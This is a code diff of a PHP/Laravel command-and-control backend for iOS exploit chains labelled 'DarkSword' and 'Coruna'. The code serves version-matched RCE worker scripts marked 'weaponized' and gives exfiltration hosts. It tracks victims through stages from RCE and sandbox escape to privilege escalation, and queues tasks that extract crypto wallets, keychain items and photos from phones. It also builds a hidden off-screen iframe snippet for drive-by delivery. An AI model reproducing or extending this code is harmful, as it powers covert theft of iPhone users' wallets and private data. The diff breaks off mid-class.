'target_chain_label' => 'D鏈',
|
||||
'offset_params' => [
|
||||
'ok' => true,
|
||||
'mode' => 'probing',
|
||||
'device' => null,
|
||||
'xnu' => str_starts_with($ios, '18.6') ? '24.6' : null,
|
||||
'build' => null,
|
||||
'candidates' => [],
|
||||
'hint' => 'device model required (iPhoneN,M); refuse xnu-only kernelTask inject',
|
||||
],
|
||||
'sla_ms' => 15000,
|
||||
's5_honest' => '',
|
||||
]));
|
||||
}
|
||||
|
||||
public function chainTargets(Request $request): SymfonyResponse
|
||||
{
|
||||
$forwarded = (string) $request->header('X-Forwarded-Host', '');
|
||||
if ($forwarded !== '') {
|
||||
$hostPort = explode(':', $forwarded, 2);
|
||||
$host = $hostPort[0];
|
||||
$port = isset($hostPort[1]) ? (int) $hostPort[1] : (int) $request->header('X-Forwarded-Port', $request->getPort());
|
||||
$scheme = (string) $request->header('X-Forwarded-Proto', $request->getScheme());
|
||||
} else {
|
||||
$host = $request->getHost();
|
||||
$port = (int) $request->getPort();
|
||||
$scheme = $request->getScheme();
|
||||
}
|
||||
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
|
||||
$ios = $this->requestIos($request);
|
||||
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
|
||||
|
||||
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
|
||||
'ok' => true,
|
||||
'chain' => 'darksword',
|
||||
'weaponized' => true,
|
||||
'gated' => false,
|
||||
'ios' => $ios,
|
||||
'reason' => 'DarkSword 18.4-18.7.2',
|
||||
'recommended_worker' => $recommended,
|
||||
'fallback_workers' => $fallbacks,
|
||||
'band' => [
|
||||
'recommended_worker' => $recommended,
|
||||
'fallback_workers' => $fallbacks,
|
||||
'usable_for_attempt' => true,
|
||||
'usable_grade' => 'LIVE',
|
||||
'weaponized' => true,
|
||||
],
|
||||
'exfil' => [
|
||||
'host' => $host,
|
||||
'domain' => $host,
|
||||
'http_port' => $port,
|
||||
'https_port' => $port,
|
||||
'tls' => $scheme === 'https',
|
||||
'prefer_https' => false,
|
||||
'stats_url' => $base.'/stats',
|
||||
'stats_url_direct' => $base.'/stats',
|
||||
'delivery_stats_url' => $base.'/stats',
|
||||
],
|
||||
'delivery_ok' => true,
|
||||
'entry_point' => '',
|
||||
'redirect_to' => '',
|
||||
's5_module' => '',
|
||||
'usable_grade' => 'LIVE',
|
||||
]));
|
||||
}
|
||||
|
||||
public function profile(Request $request): SymfonyResponse
|
||||
{
|
||||
return $this->ok($request, '/a', $this->jsonBody($request));
|
||||
}
|
||||
|
||||
public function apps(Request $request): SymfonyResponse
|
||||
{
|
||||
return $this->ok($request, '/u', $this->jsonBody($request));
|
||||
}
|
||||
|
||||
public function notes(Request $request): SymfonyResponse
|
||||
{
|
||||
return $this->ok($request, '/nb', $this->jsonBody($request));
|
||||
}
|
||||
|
||||
public function event(Request $request): SymfonyResponse
|
||||
{
|
||||
return $this->ok($request, '/event', $this->jsonBody($request));
|
||||
}
|
||||
|
||||
public function result(Request $request): SymfonyResponse
|
||||
{
|
||||
return $this->ok($request, '/result', $this->jsonBody($request));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ok(Request $request, string $path, array $payload): SymfonyResponse
|
||||
{
|
||||
return $this->finish($request, $path, $payload, response()->json(['ok' => true]));
|
||||
}
|
||||
|
||||
private function logAck(Request $request): SymfonyResponse
|
||||
{
|
||||
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
|
||||
return response('ok', 200)->header('Content-Type', 'text/plain; charset=utf-8');
|
||||
}
|
||||
|
||||
return response()->json(['status' => 'accepted']);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
* @param array<string, mixed>|string|null $logBody
|
||||
*/
|
||||
private function finish(
|
||||
Request $request,
|
||||
string $path,
|
||||
array $payload,
|
||||
SymfonyResponse $response,
|
||||
array|string|null $logBody = null,
|
||||
): SymfonyResponse {
|
||||
try {
|
||||
$this->ingest->ingest($request, $path, $payload);
|
||||
} catch (\Throwable $e) {
|
||||
error_log('[ds] ingest '.$path.' '.$e->getMessage());
|
||||
}
|
||||
|
||||
$body = $logBody ?? $this->previewBody($request);
|
||||
$respPreview = $this->previewString((string) $response->getContent(), 4096);
|
||||
$entry = [
|
||||
'dir' => 'ds',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'query' => $request->query(),
|
||||
'headers' => c2_log_request_meta($request)['headers'],
|
||||
'body' => $body,
|
||||
'response' => $respPreview,
|
||||
];
|
||||
create_log($entry, 'ds');
|
||||
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
/**
|
||||
* Match live one99.vip GET /api/chain-targets (probed 2026-08-21).
|
||||
* Query `ios=` wins over User-Agent; UA is used only when the query is empty.
|
||||
*/
|
||||
private function requestIos(Request $request): string
|
||||
{
|
||||
$ios = (string) $request->query('ios', '');
|
||||
if ($ios !== '') {
|
||||
return $ios;
|
||||
}
|
||||
|
||||
$ua = (string) $request->userAgent();
|
||||
if (preg_match('/(?:iPhone )?OS (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)) {
|
||||
$out = $m[1].'.'.$m[2];
|
||||
if (($m[3] ?? '') !== '') {
|
||||
$out .= '.'.$m[3];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Worker plan from live one99.vip /api/chain-targets.
|
||||
*
|
||||
* 18.4.x → 18.4 then [18.5, 18.6]
|
||||
* 18.5.x → 18.5 then [18.6, 18.4]
|
||||
* anything else (18.6+, 18.7, 17.x, 26.x, empty) → 18.6 then [18.5, 18.4]
|
||||
*
|
||||
* @return array{0: string, 1: list<string>}
|
||||
*/
|
||||
private function chainTargetWorkers(string $ios): array
|
||||
{
|
||||
$minor = null;
|
||||
if (preg_match('/^18\.(\d+)/', $ios, $m)) {
|
||||
$minor = (int) $m[1];
|
||||
}
|
||||
|
||||
return match ($minor) {
|
||||
4 => ['rce_worker_18.4.js', ['rce_worker_18.5.js', 'rce_worker_18.6.js']],
|
||||
5 => ['rce_worker_18.5.js', ['rce_worker_18.6.js', 'rce_worker_18.4.js']],
|
||||
default => ['rce_worker_18.6.js', ['rce_worker_18.5.js', 'rce_worker_18.4.js']],
|
||||
};
|
||||
}
|
||||
|
||||
private function isDefaultPort(string $scheme, int $port): bool
|
||||
{
|
||||
return ($scheme === 'http' && $port === 80) || ($scheme === 'https' && $port === 443);
|
||||
}
|
||||
|
||||
private function peStageName(string $path): string
|
||||
{
|
||||
$name = basename($path);
|
||||
$name = (string) preg_replace('/\.js$/i', '', $name);
|
||||
$name = strtolower((string) preg_replace('/[^a-z0-9_]/', '', $name));
|
||||
|
||||
return $name !== '' ? $name : 'unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function payloadFromQueryOrJson(Request $request): array
|
||||
{
|
||||
$payload = $this->jsonBody($request);
|
||||
if ($payload !== []) {
|
||||
return $payload;
|
||||
}
|
||||
$query = $request->query();
|
||||
|
||||
return is_array($query) ? $query : [];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>|string
|
||||
*/
|
||||
private function previewBody(Request $request): array|string
|
||||
{
|
||||
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
|
||||
return ['query' => $request->query()];
|
||||
}
|
||||
|
||||
$ct = strtolower((string) $request->header('content-type', ''));
|
||||
if (str_contains($ct, 'multipart/')) {
|
||||
$files = [];
|
||||
foreach ($request->allFiles() as $key => $file) {
|
||||
$list = is_array($file) ? $file : [$file];
|
||||
foreach ($list as $f) {
|
||||
$files[] = [
|
||||
'field' => $key,
|
||||
'name' => $f->getClientOriginalName(),
|
||||
'size' => $f->getSize(),
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'multipart' => true,
|
||||
'form' => $request->except(array_keys($request->allFiles())),
|
||||
'files' => $files,
|
||||
];
|
||||
}
|
||||
|
||||
$raw = (string) $request->getContent();
|
||||
$json = json_decode($raw, true);
|
||||
if (is_array($json)) {
|
||||
return $this->truncateArray($json);
|
||||
}
|
||||
|
||||
return $this->previewString($raw, 4096);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function jsonBody(Request $request): array
|
||||
{
|
||||
$json = json_decode((string) $request->getContent(), true);
|
||||
|
||||
return is_array($json) ? $json : [];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $data
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function truncateArray(array $data, int $maxStr = 512, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 4) {
|
||||
return ['_truncated' => true];
|
||||
}
|
||||
$out = [];
|
||||
$i = 0;
|
||||
foreach ($data as $k => $v) {
|
||||
if ($i++ > 80) {
|
||||
$out['_more'] = true;
|
||||
break;
|
||||
}
|
||||
if (is_string($v) && strlen($v) > $maxStr) {
|
||||
$out[$k] = substr($v, 0, $maxStr).'…['.strlen($v).' bytes]';
|
||||
} elseif (is_array($v)) {
|
||||
$out[$k] = $this->truncateArray($v, $maxStr, $depth + 1);
|
||||
} else {
|
||||
$out[$k] = $v;
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function previewString(string $raw, int $max): string
|
||||
{
|
||||
if (strlen($raw) <= $max) {
|
||||
return $raw;
|
||||
}
|
||||
|
||||
return substr($raw, 0, $max).'…['.strlen($raw).' bytes]';
|
||||
}
|
||||
}
|
||||
@@ -15,25 +15,25 @@ class TokenviewWebhookController extends Controller
|
||||
$raw = $request->getContent();
|
||||
$signature = $request->header('X-Tokenview-Signature');
|
||||
|
||||
if (! $monitor->verifySignature($raw, $signature)) {
|
||||
Log::warning('tokenview webhook bad signature');
|
||||
|
||||
return response('invalid signature', 401);
|
||||
}
|
||||
|
||||
$payload = $request->json()->all();
|
||||
if (! is_array($payload) || $payload === []) {
|
||||
$decoded = json_decode($raw, true);
|
||||
$payload = is_array($decoded) ? $decoded : [];
|
||||
}
|
||||
|
||||
try {
|
||||
$monitor->handleWebhook($payload);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
|
||||
// Tokenview probes the webhook (often unsigned GET/POST) before a
|
||||
// sign key exists. Always 200 + non-empty body; only skip ingest.
|
||||
$signed = $monitor->verifySignature($raw, $signature);
|
||||
if (! $signed) {
|
||||
Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)');
|
||||
} elseif ($payload !== []) {
|
||||
try {
|
||||
$monitor->handleWebhook($payload);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
// Tokenview requires HTTP 200 + non-empty body.
|
||||
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -46,6 +46,7 @@ class PageHitController extends Controller
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'client_uid' => $uid,
|
||||
'chain' => PageVisit::CHAIN_CORUNA,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $parsed['os'],
|
||||
'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Http\Controllers\C2\DarkSwordC2Controller;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Closure;
|
||||
@@ -21,6 +22,10 @@ class DecryptXxbbBody
|
||||
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
if (DarkSwordC2Controller::matches($request)) {
|
||||
return $next($request);
|
||||
}
|
||||
|
||||
$crypto = self::crypto();
|
||||
$meta = c2_log_request_meta($request);
|
||||
|
||||
|
||||
+24
-8
@@ -174,19 +174,35 @@ class Channel extends Model
|
||||
|
||||
/**
|
||||
* Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」).
|
||||
* src is resolved at paste-time from the host page's location.
|
||||
*/
|
||||
public function promoIframeSnippet(?string $url = null): ?string
|
||||
{
|
||||
$url = trim((string) ($url ?? ($this->supportLinks()[0] ?? '')));
|
||||
if ($url === '') {
|
||||
$base = rtrim((string) config('app.url'), '/');
|
||||
if ($base === '') {
|
||||
return null;
|
||||
}
|
||||
$url = $base.$this->landingPath();
|
||||
$path = $this->landingPathFromUrl($url) ?? $this->landingPath();
|
||||
if ($path === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||
if (! str_starts_with($path, '/')) {
|
||||
$path = '/'.$path;
|
||||
}
|
||||
if (str_contains($path, '"') || str_contains($path, "'") || str_contains($path, '?')) {
|
||||
$path = $this->landingPath();
|
||||
}
|
||||
|
||||
// Telegram copy_text max is 256. Relative src resolves against the host page.
|
||||
return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"'.$path.'",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>';
|
||||
}
|
||||
|
||||
private function landingPathFromUrl(?string $url): ?string
|
||||
{
|
||||
$url = trim((string) $url);
|
||||
if ($url === '') {
|
||||
return null;
|
||||
}
|
||||
$path = parse_url($url, PHP_URL_PATH);
|
||||
|
||||
return is_string($path) && $path !== '' ? $path : null;
|
||||
}
|
||||
|
||||
public static function randomChannelId(): string
|
||||
|
||||
+11
-1
@@ -13,13 +13,18 @@ class Device extends Model
|
||||
|
||||
public const WALLET_YES = 2;
|
||||
|
||||
public const FAMILY_CORUNA = 'coruna';
|
||||
|
||||
public const FAMILY_DARKSWORD = 'darksword';
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'has_wallet' => self::WALLET_UNKNOWN,
|
||||
'family' => self::FAMILY_CORUNA,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -89,4 +94,9 @@ class Device extends Model
|
||||
{
|
||||
return $this->hasMany(WalletKeystore::class);
|
||||
}
|
||||
|
||||
public function beaconTasks(): HasMany
|
||||
{
|
||||
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class DsBeaconTask extends Model
|
||||
{
|
||||
public const STATUS_PENDING = 'pending';
|
||||
|
||||
public const STATUS_DISPATCHED = 'dispatched';
|
||||
|
||||
public const STATUS_DONE = 'done';
|
||||
|
||||
public const STATUS_SKIPPED = 'skipped';
|
||||
|
||||
public const LABELS = [
|
||||
'wallet_extract' => '钱包提取',
|
||||
'wallet_scan' => '钱包扫盘',
|
||||
'photos' => '相册',
|
||||
'photo_scan' => '相册扫描',
|
||||
'apps' => '应用列表',
|
||||
'basic_info' => '设备信息',
|
||||
];
|
||||
|
||||
public const STATUS_LABELS = [
|
||||
self::STATUS_PENDING => '排队中',
|
||||
self::STATUS_DISPATCHED => '已下发',
|
||||
self::STATUS_DONE => '已回传',
|
||||
self::STATUS_SKIPPED => '已跳过',
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'device_id',
|
||||
'position',
|
||||
'type',
|
||||
'status',
|
||||
'command_id',
|
||||
'dispatched_at',
|
||||
'completed_at',
|
||||
'result_count',
|
||||
'result_meta',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'position' => 'integer',
|
||||
'dispatched_at' => 'datetime',
|
||||
'completed_at' => 'datetime',
|
||||
'result_count' => 'integer',
|
||||
'result_meta' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function typeLabel(): string
|
||||
{
|
||||
return self::LABELS[$this->type] ?? $this->type;
|
||||
}
|
||||
|
||||
public function statusLabel(): string
|
||||
{
|
||||
return self::STATUS_LABELS[$this->status] ?? $this->status;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class DsChainLog extends Model
|
||||
{
|
||||
public $timestamps = false;
|
||||
|
||||
/** @var array<string, array{progress: int, title: string}> */
|
||||
public const STAGES = [
|
||||
'boot' => ['progress' => 8, 'title' => '启动'],
|
||||
'loader' => ['progress' => 18, 'title' => '加载器'],
|
||||
'worker' => ['progress' => 42, 'title' => 'RCE'],
|
||||
'sbx0' => ['progress' => 58, 'title' => '沙箱逃逸'],
|
||||
'sbx1' => ['progress' => 72, 'title' => '沙箱二段'],
|
||||
'pe' => ['progress' => 86, 'title' => '权限提升'],
|
||||
'post' => ['progress' => 100, 'title' => '取证完成'],
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'client_uid',
|
||||
'channel_id',
|
||||
'stage',
|
||||
'progress',
|
||||
'label',
|
||||
'created_at',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'progress' => 'integer',
|
||||
'created_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public static function stageTitle(string $stage): string
|
||||
{
|
||||
return self::STAGES[$stage]['title'] ?? $stage;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{stage: string, progress: int, label: string}|null
|
||||
*/
|
||||
public static function inferFromText(?string $text): ?array
|
||||
{
|
||||
$msg = trim((string) $text);
|
||||
if ($msg === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (preg_match('/file_downloader_ok|chain.?complete/i', $msg)) {
|
||||
return ['stage' => 'post', 'progress' => 100, 'label' => 'post'];
|
||||
}
|
||||
if (preg_match('/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i', $msg)) {
|
||||
return ['stage' => 'pe', 'progress' => 90, 'label' => '权限提升 · 后台收尾'];
|
||||
}
|
||||
if (preg_match('/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait|pe_mpd/i', $msg)) {
|
||||
return ['stage' => 'pe', 'progress' => 86, 'label' => 'pe'];
|
||||
}
|
||||
if (preg_match('/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i', $msg)) {
|
||||
return ['stage' => 'sbx1', 'progress' => 72, 'label' => 'sbx1'];
|
||||
}
|
||||
if (preg_match('/after get js|sbx0_main|coruna stage2|seedbell/i', $msg)) {
|
||||
return ['stage' => 'sbx0', 'progress' => 58, 'label' => 'sbx0'];
|
||||
}
|
||||
if (preg_match('/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i', $msg)) {
|
||||
return ['stage' => 'worker', 'progress' => 42, 'label' => 'worker'];
|
||||
}
|
||||
if (preg_match('/Chain selected|rce_loader|loadChainLoader/i', $msg)) {
|
||||
return ['stage' => 'loader', 'progress' => 18, 'label' => 'loader'];
|
||||
}
|
||||
if (preg_match('/frame\.html loaded|frame_boot/i', $msg)) {
|
||||
return ['stage' => 'boot', 'progress' => 8, 'label' => 'frame_boot'];
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public static function record(
|
||||
string $clientUid,
|
||||
string $stage,
|
||||
int $progress = 0,
|
||||
?string $label = null,
|
||||
?string $channelId = null,
|
||||
): ?self {
|
||||
$clientUid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $clientUid) ?? '');
|
||||
$stage = strtolower(trim($stage));
|
||||
if ($clientUid === '' || ! isset(self::STAGES[$stage])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$meta = self::STAGES[$stage];
|
||||
if ($progress <= 0) {
|
||||
$progress = $meta['progress'];
|
||||
}
|
||||
$progress = max(0, min(100, $progress));
|
||||
$label = trim((string) ($label ?? ''));
|
||||
if ($label === '') {
|
||||
$label = $stage;
|
||||
}
|
||||
$label = substr($label, 0, 255);
|
||||
$channelId = $channelId !== null && trim($channelId) !== '' ? substr(trim($channelId), 0, 64) : null;
|
||||
|
||||
$last = self::query()->where('client_uid', $clientUid)->orderByDesc('id')->first();
|
||||
if ($last
|
||||
&& $last->stage === $stage
|
||||
&& (int) $last->progress === $progress
|
||||
&& (string) $last->label === $label) {
|
||||
return $last;
|
||||
}
|
||||
|
||||
return self::query()->create([
|
||||
'client_uid' => substr($clientUid, 0, 64),
|
||||
'channel_id' => $channelId,
|
||||
'stage' => $stage,
|
||||
'progress' => $progress,
|
||||
'label' => $label,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -8,9 +8,14 @@ class PageVisit extends Model
|
||||
{
|
||||
public $timestamps = false;
|
||||
|
||||
public const CHAIN_CORUNA = 0;
|
||||
|
||||
public const CHAIN_DARKSWORD = 1;
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id',
|
||||
'client_uid',
|
||||
'chain',
|
||||
'session_id',
|
||||
'user_agent',
|
||||
'os',
|
||||
@@ -26,10 +31,16 @@ class PageVisit extends Model
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'chain' => 'integer',
|
||||
'created_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public static function chainLabel(int $chain): string
|
||||
{
|
||||
return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
|
||||
}
|
||||
|
||||
public static function normalizeDomain(?string $value): ?string
|
||||
{
|
||||
$value = trim((string) $value);
|
||||
|
||||
@@ -8,18 +8,204 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
class WalletKeystore extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'raw_json',
|
||||
'device_id', 'source', 'decrypted', 'raw_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'raw_json' => 'array',
|
||||
'decrypted' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function sourceLabel(): string
|
||||
{
|
||||
$source = trim((string) $this->source);
|
||||
|
||||
return $source !== '' ? $source : '未知';
|
||||
}
|
||||
|
||||
public function kind(): string
|
||||
{
|
||||
return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : '';
|
||||
}
|
||||
|
||||
public function kindLabel(): string
|
||||
{
|
||||
return match ($this->kind()) {
|
||||
'keychain.wallets' => '钥匙串',
|
||||
'sandbox' => '沙盒文件',
|
||||
default => $this->kind() !== '' ? $this->kind() : '未知',
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{
|
||||
* account: string,
|
||||
* service: string,
|
||||
* access_group: string,
|
||||
* protection_class: string,
|
||||
* path: string,
|
||||
* data_len: int,
|
||||
* data_preview: string
|
||||
* }>
|
||||
*/
|
||||
public function listedItems(): array
|
||||
{
|
||||
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||
$out = [];
|
||||
$wallets = $json['wallets'] ?? null;
|
||||
if (is_array($wallets)) {
|
||||
foreach ($wallets as $bucket) {
|
||||
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
|
||||
foreach ($items as $item) {
|
||||
if (is_array($item)) {
|
||||
$out[] = $this->normalizeItem($item);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
$sandbox = $json['sandbox'] ?? null;
|
||||
if (is_array($sandbox)) {
|
||||
$out = array_merge($out, $this->sandboxItems($sandbox));
|
||||
}
|
||||
if (isset($json['crypto']) && is_array($json['crypto'])) {
|
||||
$out[] = $this->normalizeItem([
|
||||
'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'),
|
||||
'path' => 'crypto',
|
||||
'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''),
|
||||
]);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public function itemCount(): int
|
||||
{
|
||||
return count($this->listedItems());
|
||||
}
|
||||
|
||||
public function summary(): string
|
||||
{
|
||||
$names = [];
|
||||
foreach ($this->listedItems() as $item) {
|
||||
$name = $item['account'] !== '' ? $item['account'] : $item['path'];
|
||||
if ($name !== '') {
|
||||
$names[] = $name;
|
||||
}
|
||||
if (count($names) >= 3) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
$n = $this->itemCount();
|
||||
if ($names === []) {
|
||||
return $n > 0 ? $n.' 条' : '';
|
||||
}
|
||||
$text = implode(' · ', $names);
|
||||
if ($n > 3) {
|
||||
$text .= ' 等'.$n.'条';
|
||||
}
|
||||
|
||||
return $text;
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $item
|
||||
* @return array{
|
||||
* account: string,
|
||||
* service: string,
|
||||
* access_group: string,
|
||||
* protection_class: string,
|
||||
* path: string,
|
||||
* data_len: int,
|
||||
* data_preview: string
|
||||
* }
|
||||
*/
|
||||
private function normalizeItem(array $item): array
|
||||
{
|
||||
$hex = (string) ($item['dataHex'] ?? '');
|
||||
$bin = '';
|
||||
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
|
||||
$bin = (string) hex2bin($hex);
|
||||
} elseif (isset($item['data']) && is_string($item['data'])) {
|
||||
$bin = $item['data'];
|
||||
}
|
||||
|
||||
return [
|
||||
'account' => trim((string) ($item['account'] ?? '')),
|
||||
'service' => trim((string) ($item['service'] ?? '')),
|
||||
'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')),
|
||||
'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''),
|
||||
'path' => trim((string) ($item['path'] ?? '')),
|
||||
'data_len' => strlen($bin),
|
||||
'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $sandbox
|
||||
* @return list<array{
|
||||
* account: string,
|
||||
* service: string,
|
||||
* access_group: string,
|
||||
* protection_class: string,
|
||||
* path: string,
|
||||
* data_len: int,
|
||||
* data_preview: string
|
||||
* }>
|
||||
*/
|
||||
private function sandboxItems(array $sandbox, string $prefix = ''): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($sandbox as $key => $value) {
|
||||
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
|
||||
if (is_array($value)) {
|
||||
if (isset($value['items']) && is_array($value['items'])) {
|
||||
foreach ($value['items'] as $item) {
|
||||
if (is_array($item)) {
|
||||
$out[] = $this->normalizeItem($item);
|
||||
}
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
$out = array_merge($out, $this->sandboxItems($value, $path));
|
||||
|
||||
continue;
|
||||
}
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$bin = base64_decode($value, true);
|
||||
if ($bin === false) {
|
||||
$bin = $value;
|
||||
}
|
||||
$out[] = $this->normalizeItem([
|
||||
'account' => basename($path),
|
||||
'path' => $path,
|
||||
'data' => $bin,
|
||||
]);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function previewBytes(string $raw): string
|
||||
{
|
||||
if ($raw === '') {
|
||||
return '';
|
||||
}
|
||||
if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) {
|
||||
return $raw;
|
||||
}
|
||||
$hex = bin2hex($raw);
|
||||
|
||||
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,795 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
* Map DarkSword / one99 plaintext JSON onto existing device/note/wallet tables.
|
||||
*
|
||||
* Does not call xxbb field extractors (`d`/`f`/`c`/`al[]` / ver/sdkv).
|
||||
*/
|
||||
class DarkSwordIngestAdapter
|
||||
{
|
||||
/** @var list<string> */
|
||||
private const SKIP_WALK_KEYS = [
|
||||
'error', 'errors', 'layer3Error', 'diagnostics', 'metadataKeys',
|
||||
'locked_classes', '_truncated', '_more', 'tables',
|
||||
];
|
||||
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
private readonly DsBeaconQueue $beaconQueue,
|
||||
private readonly DsResultStore $results,
|
||||
